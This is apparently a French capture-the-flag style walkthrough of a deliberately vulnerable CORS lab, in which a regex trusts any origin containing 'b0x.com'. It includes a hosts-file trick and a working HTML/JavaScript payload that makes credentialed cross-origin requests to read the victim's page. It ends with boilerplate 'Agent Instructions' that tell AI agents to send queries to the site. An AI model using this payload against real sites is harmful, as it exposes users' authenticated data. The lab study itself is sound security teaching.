# Application has bad "regex" Implementation to check Trusted Origin

Le second challenge propose une mauvaise configuration causée par l'utilisation d'une regex trop permissive :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LxRE6VLnlGjHpADrT7k%2F-LxRFUBDJzULdEVp_w2k%2Fd14588e5febcb7025ae9a4e2b24665b6.png?alt=media\&token=c415f11e-9b83-4d86-951f-cf574d597c5a)

En effet, il suffit simplement que le site (le nom de domaine) demandant la ressource possède l'occurrence `b0x.com`  pour être autorisé à accéder Sans cela, la requête sera bloquée par CORS :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LxRE6VLnlGjHpADrT7k%2F-LxRGJNEX0aSqMimObCb%2F00426f4f44f8eda143947717833de22e.png?alt=media\&token=572962b5-be31-4637-b62b-a6a005dbf00c)

Pour simuler un nom de domaine malicieux mais contenant l'occurrence souhaité, je modifie mon fichier `/etc/hosts` :

```
192.168.56.182    maliciousb0x.com
```

Le script hébergé sur le serveur malicieux reste le même que pour le précédent challenge :

```markup
<html>
  <head>
    <title>CORS vulnerable lab - Bad regex implementation</title>
  </head>

  <body>
    <script>
      var xhr = new XMLHttpRequest();

      xhr.open('GET', 'http://192.168.56.184/bad_regex.php', true);
      xhr.withCredentials = true;

      xhr.onreadystatechange = function() {
        if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
          console.log(xhr.response);                    
        }
      }

      xhr.send();
    </script> 
  </body>
</html>
```

Le contenu du site vulnérable s'affiche bien dans la console lorsque la victime visite la page malicieuse :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LxRG_XqtOZ-01jlf_-F%2F-LxRHNtbVFI4p-DALgQS%2F1376c16a672bb6b061693e3b29c34a82.png?alt=media\&token=483a632b-24f6-444c-81cd-e17b5091a6bc)

La réponse lors de l'accès à la ressource contient bien l'entête CORS attendu :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LxRG_XqtOZ-01jlf_-F%2F-LxRHgeQIlzPNDTEDQEm%2Fc43a68d72fd288fa598ec1ee54b3d5c8.png?alt=media\&token=f4ffb5d7-a44a-4c3a-b368-f5096c0b85d0)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/cors-vulnerable-lab/application-has-bad-regex-implementation-to-check-trusted-origin.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
